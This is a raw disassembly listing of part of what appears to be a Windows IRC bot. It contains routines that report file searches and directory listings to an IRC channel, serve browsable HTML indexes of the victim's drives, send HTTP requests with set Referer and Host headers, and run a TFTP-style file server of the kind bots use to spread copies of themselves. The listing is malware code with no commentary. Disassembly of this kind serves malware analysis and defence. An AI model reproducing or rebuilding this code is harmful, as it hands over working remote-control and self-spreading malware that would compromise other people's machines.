; ---------------------------------------------------------------------------
loc_4061BA: ; CODE XREF: sub_406100+B3j
movsx eax, al
loc_4061BD: ; CODE XREF: sub_406100+B8j
mov [ebp+ebx+var_210], al
loc_4061C4: ; CODE XREF: sub_406100+A8j
lea eax, [ebp+var_10C]
inc esi
inc [ebp+arg_8]
push eax
inc ebx
call sub_415CF0
cmp esi, eax
pop ecx
jb short loc_40616A
loc_4061DA: ; CODE XREF: sub_406100+61j
lea eax, [ebp+var_210]
push eax
lea eax, [ebp+var_314]
push [ebp+arg_4]
push offset aSS_2 ; "%s%s"
push eax
call sub_4154E7
lea eax, [ebp+var_314]
push offset asc_426CB4 ; "\n"
push eax
call sub_416C98
add esp, 18h
lea eax, [ebp+var_314]
push eax
call dword_421094
push 1
cmp eax, 10h
pop esi
jz short loc_406228
cmp eax, 0FFFFFFFFh
jnz short loc_40622B
push [ebp+arg_0]
jmp short loc_4062A7
; ---------------------------------------------------------------------------
loc_406228: ; CODE XREF: sub_406100+11Cj
mov [ebp+var_4], esi
loc_40622B: ; CODE XREF: sub_406100+121j
cmp [ebp+ebx+var_211], 5Ch
jnz short loc_406238
mov [ebp+var_4], esi
loc_406238: ; CODE XREF: sub_406100+133j
mov ebx, [ebp+arg_0]
cmp [ebp+var_4], edi
mov [ebp+var_6C4], ebx
mov [ebp+var_318], edi
jz short loc_4062B2
cmp [ebp+arg_C], edi
jz short loc_4062A6
lea eax, [ebp+var_314]
push offset asc_426CB0 ; "*"
push eax
call sub_415C10
lea eax, [ebp+var_314]
push eax
lea eax, [ebp+var_640]
push eax
call sub_4154E7
lea eax, [ebp+var_210]
push eax
call sub_406AEF
lea eax, [ebp+var_210]
push eax
lea eax, [ebp+var_53C]
push eax
call sub_4154E7
add esp, 1Ch
or [ebp+var_330], 0FFFFFFFFh
mov [ebp+var_31C], esi
jmp short loc_406301
; ---------------------------------------------------------------------------
loc_4062A6: ; CODE XREF: sub_406100+14Fj
push ebx
loc_4062A7: ; CODE XREF: sub_406100+126j
call dword_43A450
jmp loc_4063A9
; ---------------------------------------------------------------------------
loc_4062B2: ; CODE XREF: sub_406100+14Aj
push edi
push edi
push 3
push edi
push esi
lea eax, [ebp+var_314]
push 80000000h
push eax
call dword_421078
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_406301
lea eax, [ebp+var_314]
push eax
lea eax, [ebp+var_640]
push eax
call sub_4154E7
pop ecx
mov [ebp+var_31C], edi
pop ecx
push edi
push esi
call dword_421090
push esi
mov [ebp+var_330], eax
call dword_42106C
loc_406301: ; CODE XREF: sub_406100+1A4j
; sub_406100+1CFj
mov esi, [ebp+arg_10]
lea eax, [ebp+var_8C4]
push esi
push offset unk_426C6C
push eax
call sub_4154E7
push edi
lea eax, [ebp+var_8C4]
push 3
push eax
call sub_414F93
mov [ebp+var_32C], eax
imul eax, 234h
add esp, 18h
mov dword_43F54C[eax], esi
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_6C4]
push edi
push eax
push offset sub_405F7E
push edi
push edi
call dword_42108C
mov ecx, [ebp+var_32C]
imul ecx, 234h
cmp eax, edi
mov dword_43F55C[ecx], eax
jz short loc_40637B
loc_406369: ; CODE XREF: sub_406100+279j
cmp [ebp+var_318], edi
jnz short loc_4063A9
push 5
call dword_421060
jmp short loc_406369
; ---------------------------------------------------------------------------
loc_40637B: ; CODE XREF: sub_406100+267j
push ebx
call dword_43A450
call dword_421088
push eax
lea eax, [ebp+var_8C4]
push offset unk_426C20
push eax
call sub_4154E7
lea eax, [ebp+var_8C4]
push eax
call sub_40B16D
add esp, 10h
loc_4063A9: ; CODE XREF: sub_406100+1ADj
; sub_406100+26Fj
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn
sub_406100 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4063B0 proc near ; CODE XREF: sub_405F7E+159p
; sub_40CE55+464Cp
var_594 = byte ptr -594h
var_490 = byte ptr -490h
var_388 = dword ptr -388h
var_374 = byte ptr -374h
var_368 = dword ptr -368h
var_35C = byte ptr -35Ch
var_248 = byte ptr -248h
var_48 = byte ptr -48h
var_20 = byte ptr -20h
var_18 = word ptr -18h
var_16 = word ptr -16h
var_12 = word ptr -12h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 594h
push ebx
push esi
push edi
xor ebx, ebx
push 104h
lea eax, [ebp+var_594]
push ebx
push eax
mov [ebp+var_4], ebx
mov [ebp+var_8], ebx
call sub_415570
mov edi, [ebp+arg_0]
push offset asc_426CB4 ; "\n"
push edi
call sub_416C98
add esp, 14h
cmp [ebp+arg_8], ebx
jz short loc_40640F
push edi
mov esi, 200h
push [ebp+arg_8]
lea eax, [ebp+var_248]
push offset aPrivmsgSSearch ; "PRIVMSG %s :Searching for: %s\r\n"
push esi
push eax
call sub_415A6A
add esp, 14h
jmp loc_40650C
; ---------------------------------------------------------------------------
loc_40640F: ; CODE XREF: sub_4063B0+3Aj
cmp [ebp+arg_C], ebx
push edi
jz loc_4064F2
call sub_415CF0
mov [eax+edi-1], bl
push edi
mov esi, 200h
push offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"...
lea eax, [ebp+var_248]
push esi
push eax
call sub_415A6A
add esp, 14h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_415CF0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_43A408
push edi
push offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""...
lea eax, [ebp+var_248]
push esi
push eax
call sub_415A6A
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_415CF0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_43A408
push edi
call sub_415CF0
push 3Ch
push 96h
mov byte ptr [eax+edi], 2Ah
push 0E6h
push offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"...
lea eax, [ebp+var_248]
push esi
push eax
call sub_415A6A
add esp, 1Ch
lea eax, [ebp+var_248]
push ebx
push eax
call sub_415CF0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_43A408
push offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
lea eax, [ebp+var_248]
push esi
push eax
call sub_415A6A
add esp, 0Ch
jmp short loc_40650C
; ---------------------------------------------------------------------------
loc_4064F2: ; CODE XREF: sub_4063B0+63j
mov esi, 200h
push offset aSearchingForS ; "Searching for: %s\r\n"
lea eax, [ebp+var_248]
push esi
push eax
call sub_415A6A
add esp, 10h
loc_40650C: ; CODE XREF: sub_4063B0+5Aj
; sub_4063B0+140j
lea eax, [ebp+var_248]
push ebx
push eax
call sub_415CF0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_43A408
cmp [ebp+arg_C], ebx
jz short loc_4065A4
push [ebp+arg_C]
call sub_415CF0
cmp eax, 2
pop ecx
jbe short loc_4065A4
push [ebp+arg_C]
call sub_415CF0
sub eax, 3
pop ecx
jz short loc_406558
loc_40654C: ; CODE XREF: sub_4063B0+1A6j
mov ecx, [ebp+arg_C]
cmp byte ptr [eax+ecx], 2Fh
jz short loc_406558
dec eax
jnz short loc_40654C
loc_406558: ; CODE XREF: sub_4063B0+19Aj
; sub_4063B0+1A3j
inc eax
push eax
lea eax, [ebp+var_594]
push [ebp+arg_C]
push eax
call sub_416D40
lea eax, [ebp+var_594]
push eax
push offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"...
lea eax, [ebp+var_248]
push esi
push eax
call sub_415A6A
add esp, 1Ch
lea eax, [ebp+var_248]
push ebx
push eax
call sub_415CF0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_43A408
loc_4065A4: ; CODE XREF: sub_4063B0+17Ej
; sub_4063B0+18Cj
lea eax, [ebp+var_388]
push eax
push edi
call dword_4210A8
lea ecx, [ebp+var_388]
mov [ebp+arg_0], eax
push ecx
push eax
call dword_4210A4
test eax, eax
jz loc_406995
mov edi, 1FFh
loc_4065D0: ; CODE XREF: sub_4063B0+5DFj
cmp [ebp+var_388], ebx
jz loc_40697D
lea eax, [ebp+var_35C]
push offset a__ ; ".."
push eax
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_40697D
lea eax, [ebp+var_35C]
push offset a__0 ; "."
push eax
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_40697D
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_374]
push eax
call dword_4210A0
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_20]
push eax
call dword_42109C
mov ax, [ebp+var_10]
mov ecx, offset aPm ; "PM"
cmp ax, 0Ch
ja short loc_406645
mov ecx, offset aAm ; "AM"
loc_406645: ; CODE XREF: sub_4063B0+28Ej
cmp ax, 0Ch
movzx eax, ax
jbe short loc_406651
sub eax, 0Ch
loc_406651: ; CODE XREF: sub_4063B0+29Cj
push ecx
movzx ecx, [ebp+var_E]
push ecx
push eax
movzx eax, [ebp+var_18]
push eax
movzx eax, [ebp+var_12]
push eax
movzx eax, [ebp+var_16]
push eax
lea eax, [ebp+var_48]
push offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d %2.2d:%2.2d %s"
push eax
call sub_4154E7
add esp, 20h
test byte ptr [ebp+var_388], 10h
jz loc_4067FE
inc [ebp+var_8]
cmp [ebp+arg_8], ebx
jz short loc_4066D2
lea eax, [ebp+var_35C]
push eax
push offset aS_0 ; "<%s>"
lea eax, [ebp+var_490]
push 106h
push eax
call sub_415A6A
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_490]
push eax
lea eax, [ebp+var_248]
push [ebp+arg_8]
push offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s %-21s\n"
push esi
push eax
call sub_415A6A
add esp, 28h
jmp loc_40694E
; ---------------------------------------------------------------------------
loc_4066D2: ; CODE XREF: sub_4063B0+2DBj
cmp [ebp+arg_C], ebx
jz loc_4067BC
push 0E6h
push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
lea eax, [ebp+var_248]
push edi
push eax
call sub_415A6A
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_415CF0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_43A408
lea eax, [ebp+var_35C]
push eax
lea eax, [ebp+var_248]
push [ebp+arg_C]
push offset aSS_0 ; "%s%s/"
push edi
push eax
call sub_415A6A
add esp, 14h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_415CF0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_43A408
lea eax, [ebp+var_35C]
push eax
call sub_415CF0
cmp eax, 1Eh
pop ecx
lea eax, [ebp+var_35C]
push eax
jbe short loc_406772
push offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>"
jmp short loc_406777
; ---------------------------------------------------------------------------
loc_406772: ; CODE XREF: sub_4063B0+3B9j
push offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>"
loc_406777: ; CODE XREF: sub_4063B0+3C0j
lea eax, [ebp+var_248]
push edi
push eax
call sub_415A6A
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_415CF0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_43A408
lea eax, [ebp+var_48]
push 3Ch
push eax
push 96h
push offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
push edi
jmp loc_40693F
; ---------------------------------------------------------------------------
loc_4067BC: ; CODE XREF: sub_4063B0+325j
lea eax, [ebp+var_35C]
push eax
push offset aS_0 ; "<%s>"
lea eax, [ebp+var_490]
push 106h
push eax
call sub_415A6A
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_490]
push eax
push offset a31s21s ; "%-31s %-21s\r\n"
loc_4067E9: ; CODE XREF: sub_4063B0+476j
lea eax, [ebp+var_248]
push esi
push eax
call sub_415A6A
add esp, 24h
jmp loc_40694E
; ---------------------------------------------------------------------------
loc_4067FE: ; CODE XREF: sub_4063B0+2CFj
inc [ebp+var_4]
cmp [ebp+arg_8], ebx
jz short loc_406828
push ebx
push [ebp+var_368]
call sub_40C218
push eax
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_35C]
push eax
push [ebp+arg_8]
push offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s %-21s (%s bytes)\n"
jmp short loc_4067E9
; ---------------------------------------------------------------------------
loc_406828: ; CODE XREF: sub_4063B0+454j
cmp [ebp+arg_C], ebx
jz loc_406928
push 0E6h
push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
lea eax, [ebp+var_248]
push edi
push eax
call sub_415A6A
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_415CF0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_43A408
lea eax, [ebp+var_35C]
push eax
lea eax, [ebp+var_248]
push [ebp+arg_C]
push offset aSS_2 ; "%s%s"
push edi
push eax
call sub_415A6A
add esp, 14h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_415CF0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_43A408
lea eax, [ebp+var_35C]
push eax
call sub_415CF0
cmp eax, 1Fh
pop ecx
lea eax, [ebp+var_35C]
push eax
jbe short loc_4068C8
push offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>"
jmp short loc_4068CD
; ---------------------------------------------------------------------------
loc_4068C8: ; CODE XREF: sub_4063B0+50Fj
push offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>"
loc_4068CD: ; CODE XREF: sub_4063B0+516j
lea eax, [ebp+var_248]
push edi
push eax
call sub_415A6A
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_415CF0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_43A408
mov eax, [ebp+var_368]
shr eax, 0Ah
push eax
lea eax, [ebp+var_48]
push 3Ch
push eax
push 96h
push offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
lea eax, [ebp+var_248]
push edi
push eax
call sub_415A6A
add esp, 1Ch
jmp short loc_40694E
; ---------------------------------------------------------------------------
loc_406928: ; CODE XREF: sub_4063B0+47Bj
push [ebp+var_368]
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_35C]
push eax
push offset a31s21sIBytes ; "%-31s %-21s (%i bytes)\r\n"
push esi
loc_40693F: ; CODE XREF: sub_4063B0+407j
lea eax, [ebp+var_248]
push eax
call sub_415A6A
add esp, 18h
loc_40694E: ; CODE XREF: sub_4063B0+31Dj
; sub_4063B0+449j ...
lea eax, [ebp+var_248]
push ebx
push eax
call sub_415CF0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_43A408
cmp [ebp+arg_8], ebx
jz short loc_40697D
push 7D0h
call dword_421060
loc_40697D: ; CODE XREF: sub_4063B0+226j
; sub_4063B0+241j ...
lea eax, [ebp+var_388]
push eax
push [ebp+arg_0]
call dword_4210A4
test eax, eax
jnz loc_4065D0
loc_406995: ; CODE XREF: sub_4063B0+215j
push [ebp+arg_0]
call dword_421098
cmp [ebp+arg_8], ebx
jz short loc_4069D8
mov eax, [ebp+var_8]
cdq
push edx
push eax
call sub_40C218
pop ecx
pop ecx
push eax
mov eax, [ebp+var_4]
cdq
push edx
push eax
call sub_40C218
pop ecx
pop ecx
push eax
lea eax, [ebp+var_248]
push [ebp+arg_8]
push offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"...
push eax
call sub_4154E7
add esp, 14h
jmp short loc_406A0C
; ---------------------------------------------------------------------------
loc_4069D8: ; CODE XREF: sub_4063B0+5F1j
cmp [ebp+arg_C], ebx
jz short loc_4069F2
lea eax, [ebp+var_248]
push offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
push eax
call sub_4154E7
pop ecx
pop ecx
jmp short loc_406A0C
; ---------------------------------------------------------------------------
loc_4069F2: ; CODE XREF: sub_4063B0+62Bj
push [ebp+var_8]
lea eax, [ebp+var_248]
push [ebp+var_4]
push offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n"
push eax
call sub_4154E7
add esp, 10h
loc_406A0C: ; CODE XREF: sub_4063B0+626j
; sub_4063B0+640j
lea eax, [ebp+var_248]
push ebx
push eax
call sub_415CF0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_43A408
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn
sub_4063B0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_406A32 proc near ; CODE XREF: sub_405F7E+13Bp
var_404 = byte ptr -404h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 404h
push ebx
push esi
xor esi, esi
push edi
push esi
push esi
push 3
push esi
push 1
push 80000000h
push [ebp+arg_4]
mov edi, 400h
mov [ebp+var_4], esi
call dword_421078
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_406AEA
push esi
push ebx
call dword_421090
cmp eax, esi
mov [ebp+arg_4], eax
jz short loc_406AE3
loc_406A77: ; CODE XREF: sub_406A32+AFj
push 400h
lea eax, [ebp+var_404]
push esi
push eax
call sub_415570
add esp, 0Ch
cmp edi, [ebp+arg_4]
jbe short loc_406A94
mov edi, [ebp+arg_4]
loc_406A94: ; CODE XREF: sub_406A32+5Dj
mov eax, [ebp+arg_4]
push 2
neg eax
push esi
push eax
push ebx
call dword_4210AC
lea eax, [ebp+var_4]
push esi
push eax
lea eax, [ebp+var_404]
push edi
push eax
push ebx
call dword_421068
push esi
lea eax, [ebp+var_404]
push edi
push eax
push [ebp+arg_0]
call dword_43A408
cmp eax, 0FFFFFFFFh
jnz short loc_406ADE
call dword_43A34C
cmp eax, 2733h
jnz short loc_406AE3
xor eax, eax
loc_406ADE: ; CODE XREF: sub_406A32+9Bj
sub [ebp+arg_4], eax
jnz short loc_406A77
loc_406AE3: ; CODE XREF: sub_406A32+43j
; sub_406A32+A8j
push ebx
call dword_42106C
loc_406AEA: ; CODE XREF: sub_406A32+30j
pop edi
pop esi
pop ebx
leave
retn
sub_406A32 endp
; =============== S U B R O U T I N E =======================================
sub_406AEF proc near ; CODE XREF: sub_406100+17Cp
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
xor esi, esi
push edi
call sub_415CF0
test eax, eax
pop ecx
jbe short loc_406B18
loc_406B02: ; CODE XREF: sub_406AEF+27j
cmp byte ptr [esi+edi], 5Ch
jnz short loc_406B0C
mov byte ptr [esi+edi], 2Fh
loc_406B0C: ; CODE XREF: sub_406AEF+17j
push edi
inc esi
call sub_415CF0
cmp esi, eax
pop ecx
jb short loc_406B02
loc_406B18: ; CODE XREF: sub_406AEF+11j
mov eax, edi
pop edi
pop esi
retn
sub_406AEF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_406B1D proc near ; CODE XREF: sub_40CE55+2AD5p
var_4A0 = byte ptr -4A0h
var_310 = byte ptr -310h
var_110 = byte ptr -110h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
push ebp
mov ebp, esp
sub esp, 4A0h
push ebx
lea eax, [ebp+var_4A0]
push edi
push eax
push 101h
call dword_43A330
push 6
push 1
push 2
call dword_43A438
mov ebx, eax
xor edi, edi
push 10h
lea eax, [ebp+var_10]
push edi
push eax
call sub_415570
add esp, 0Ch
mov [ebp+var_10], 2
push [ebp+arg_14]
call dword_43A3B8
push [ebp+arg_10]
mov [ebp+var_E], ax
call sub_40A05B
pop ecx
mov [ebp+var_C], eax
lea eax, [ebp+var_10]
push 10h
push eax
push ebx
call dword_43A360
cmp eax, 0FFFFFFFFh
jz short loc_406BFA
mov eax, [ebp+arg_20]
cmp eax, edi
jnz short loc_406B96
mov eax, offset byte_438FDC
loc_406B96: ; CODE XREF: sub_406B1D+72j
push esi
mov esi, 100h
push [ebp+arg_10]
push eax
lea eax, [ebp+var_110]
push [ebp+arg_1C]
push [ebp+arg_18]
push offset aSSHttp1_1Refer ; "%s %s HTTP/1.1\nReferer: %s\nHost: %s\nCon"...
push esi
push eax
call sub_415A6A
add esp, 1Ch
lea eax, [ebp+var_110]
push edi
push eax
call sub_415CF0
pop ecx
push eax
lea eax, [ebp+var_110]
push eax
push ebx
call dword_43A408
push esi
lea eax, [ebp+var_110]
push edi
push eax
call sub_4155D0
add esp, 0Ch
lea eax, [ebp+var_110]
push edi
push esi
push eax
push ebx
call dword_43A3D0
pop esi
loc_406BFA: ; CODE XREF: sub_406B1D+6Bj
push ebx
call dword_43A450
call dword_43A318
lea eax, [ebp+var_110]
push eax
lea eax, [ebp+var_310]
push eax
call sub_4154E7
cmp [ebp+arg_C], edi
pop ecx
pop ecx
jnz short loc_406C3A
push edi
lea eax, [ebp+var_310]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_412D4C
add esp, 14h
loc_406C3A: ; CODE XREF: sub_406B1D+102j
pop edi
pop ebx
leave
retn
sub_406B1D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_406C3E proc near ; CODE XREF: sub_406C3E:loc_407129p
; DATA XREF: sub_407276+107o ...
var_884 = dword ptr -884h
var_880 = dword ptr -880h
var_780 = byte ptr -780h
var_580 = byte ptr -580h
var_57F = byte ptr -57Fh
var_57E = byte ptr -57Eh
var_57D = byte ptr -57Dh
var_57C = byte ptr -57Ch
var_37C = dword ptr -37Ch
var_378 = byte ptr -378h
var_274 = byte ptr -274h
var_170 = dword ptr -170h
var_16C = dword ptr -16Ch
var_168 = dword ptr -168h
var_164 = byte ptr -164h
var_E4 = dword ptr -0E4h
var_E0 = dword ptr -0E0h
var_D8 = byte ptr -0D8h
var_D7 = byte ptr -0D7h
var_D6 = byte ptr -0D6h
var_D5 = byte ptr -0D5h
var_58 = byte ptr -58h
var_44 = word ptr -44h
var_42 = word ptr -42h
var_40 = dword ptr -40h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = byte ptr -2Ch
var_28 = dword ptr -28h
var_1C = byte ptr -1Ch
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 884h
push ebx
push esi
push edi
mov edx, [ebp+arg_0]
mov esi, offset aOctet ; "octet"
lea edi, [ebp+var_1C]
movsd
push 1
xor ebx, ebx
movsw
pop eax
mov ecx, 0A9h
mov esi, edx
lea edi, [ebp+var_37C]
push ebx
push 2
rep movsd
inc [ebp+var_16C]
push 2
mov [ebp+var_C], eax
mov [edx+2A0h], eax
call dword_43A438
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp+var_10], edi
jnz short loc_406D01
push 190h
call dword_421060
call dword_43A34C
push eax
lea eax, [ebp+var_780]
push offset unk_4272BC
push eax
call sub_4154E7
add esp, 0Ch
cmp [ebp+var_E0], ebx
jnz short loc_406CE1
push ebx
lea eax, [ebp+var_780]
push [ebp+var_E4]
push eax
lea eax, [ebp+var_164]
push eax
push [ebp+var_37C]
call sub_412D4C
add esp, 14h
loc_406CE1: ; CODE XREF: sub_406C3E+7Ej
lea eax, [ebp+var_780]
push eax
call sub_40B16D
push [ebp+var_170]
call sub_4152AF
pop ecx
pop ecx
push ebx
call dword_421048
loc_406D01: ; CODE XREF: sub_406C3E+50j
mov eax, [ebp+var_170]
push 10h
imul eax, 234h
push ebx
mov dword_43F554[eax], edi
lea eax, [ebp+var_44]
push eax
call sub_415570
add esp, 0Ch
mov [ebp+var_44], 2
push [ebp+var_168]
call dword_43A3B8
mov [ebp+var_42], ax
lea eax, [ebp+var_44]
push 10h
push eax
push edi
mov [ebp+var_40], ebx
call dword_43A3E4
cmp eax, 0FFFFFFFFh
jnz short loc_406D66
push 1388h
call dword_421060
dec [ebp+var_16C]
push [ebp+arg_0]
jmp loc_407129
; ---------------------------------------------------------------------------
loc_406D66: ; CODE XREF: sub_406C3E+10Dj
lea eax, [ebp+var_378]
push offset aRb ; "rb"
push eax
call sub_415BE8
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+var_8], eax
jnz short loc_406DE4
push 190h
call dword_421060
lea eax, [ebp+var_378]
push eax
lea eax, [ebp+var_780]
push offset unk_42726C
push eax
call sub_4154E7
push ebx
lea eax, [ebp+var_780]
push [ebp+var_E4]
push eax
lea eax, [ebp+var_164]
push eax
push [ebp+var_37C]
call sub_412D4C
lea eax, [ebp+var_780]
push eax
call sub_40B16D
push [ebp+var_170]
call sub_4152AF
add esp, 28h
push ebx
call dword_421048
loc_406DE4: ; CODE XREF: sub_406C3E+140j
mov esi, 200h
loc_406DE9: ; CODE XREF: sub_406C3E+4A5j
mov eax, [ebp+arg_0]
cmp [eax+2A0h], ebx
jz loc_4070E9
mov [ebp+var_880], edi
mov edi, 80h
push edi
lea eax, [ebp+var_D8]
push ebx
push eax
mov [ebp+var_34], 5
mov [ebp+var_30], 1388h
mov [ebp+var_884], 1
call sub_415570
add esp, 0Ch
lea eax, [ebp+var_34]
push eax
push ebx
lea eax, [ebp+var_884]
push ebx
push eax
push ebx
call dword_43A3A0
test eax, eax
jle loc_4070DD
mov al, byte_438FDC
mov ecx, edi
mov [ebp+var_580], al
xor eax, eax
lea edi, [ebp+var_57F]
mov [ebp+var_4], 10h
rep stosd
stosw
stosb
mov edi, [ebp+var_10]
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_2C]
push eax
push ebx
lea eax, [ebp+var_D8]
push 80h
push eax
push edi
call dword_43A390
push [ebp+var_28]
mov [ebp+var_C], eax
call dword_43A444
push eax
lea eax, [ebp+var_58]
push eax
call sub_4154E7
cmp [ebp+var_D8], bl
pop ecx
pop ecx
jnz loc_4070C7
cmp [ebp+var_D7], 1
jnz loc_407013
lea eax, [ebp+var_274]
push eax
call sub_415CF0
lea eax, [ebp+eax+var_D5]
mov [ebp+var_14], eax
lea eax, [ebp+var_274]
push eax
call sub_415CF0
push eax
lea eax, [ebp+var_D6]
push eax
lea eax, [ebp+var_274]
push eax
call sub_416ED0
add esp, 14h
test eax, eax
jnz loc_406FCD
lea eax, [ebp+var_1C]
push eax
call sub_415CF0
push eax
lea eax, [ebp+var_1C]
push [ebp+var_14]
push eax
call sub_416ED0
add esp, 10h
test eax, eax
jnz loc_406FCD
push ebx
push ebx
push [ebp+var_8]
call sub_416E3E
push [ebp+var_8]
lea eax, [ebp+var_57C]
mov [ebp+var_580], bl
mov [ebp+var_57F], 3
push esi
push 1
push eax
mov [ebp+var_57E], bl
mov [ebp+var_57D], 1
call sub_416BB0
add esp, 1Ch
lea ecx, [ebp+var_2C]
mov [ebp+var_C], eax
add eax, 4
push [ebp+var_4]
push ecx
push ebx
push eax
lea eax, [ebp+var_580]
push eax
push edi
call dword_43A41C
lea eax, [ebp+var_378]
push eax
lea eax, [ebp+var_58]
push eax
push offset unk_427218
loc_406F81: ; CODE XREF: sub_406C3E+484j
lea eax, [ebp+var_780]
push eax
call sub_4154E7
add esp, 10h
cmp [ebp+var_E0], ebx
jnz short loc_406FBB
push ebx
lea eax, [ebp+var_780]
push [ebp+var_E4]
push eax
lea eax, [ebp+var_164]
push eax
push [ebp+var_37C]
call sub_412D4C
add esp, 14h
loc_406FBB: ; CODE XREF: sub_406C3E+358j
lea eax, [ebp+var_780]
push eax
call sub_40B16D
pop ecx
jmp loc_4070DD
; ---------------------------------------------------------------------------
loc_406FCD: ; CODE XREF: sub_406C3E+2B6j
; sub_406C3E+2D7j
push [ebp+var_4]
lea eax, [ebp+var_2C]
push eax
push ebx
push 13h
push offset dword_427204
push edi
call dword_43A41C
lea eax, [ebp+var_274]
push eax
lea eax, [ebp+var_58]
push eax
lea eax, [ebp+var_D8]
push offset unk_4271C8
push eax
call sub_4154E7
lea eax, [ebp+var_D8]
push eax
call sub_40B16D
add esp, 14h
jmp loc_4070DD
; ---------------------------------------------------------------------------
loc_407013: ; CODE XREF: sub_406C3E+275j
cmp [ebp+var_D7], 4
jnz loc_4070C7
mov cl, [ebp+var_D5]
mov al, [ebp+var_D6]
cmp cl, 0FFh
mov [ebp+var_580], bl
mov [ebp+var_57F], 3
jnz short loc_407050
inc al
xor cl, cl
mov [ebp+var_57E], al
mov [ebp+var_57D], bl
jmp short loc_40705E
; ---------------------------------------------------------------------------
loc_407050: ; CODE XREF: sub_406C3E+3FEj
inc cl
mov [ebp+var_57E], al
mov [ebp+var_57D], cl
loc_40705E: ; CODE XREF: sub_406C3E+410j
movzx eax, al
movzx ecx, cl
shl eax, 8
add eax, ecx
push ebx
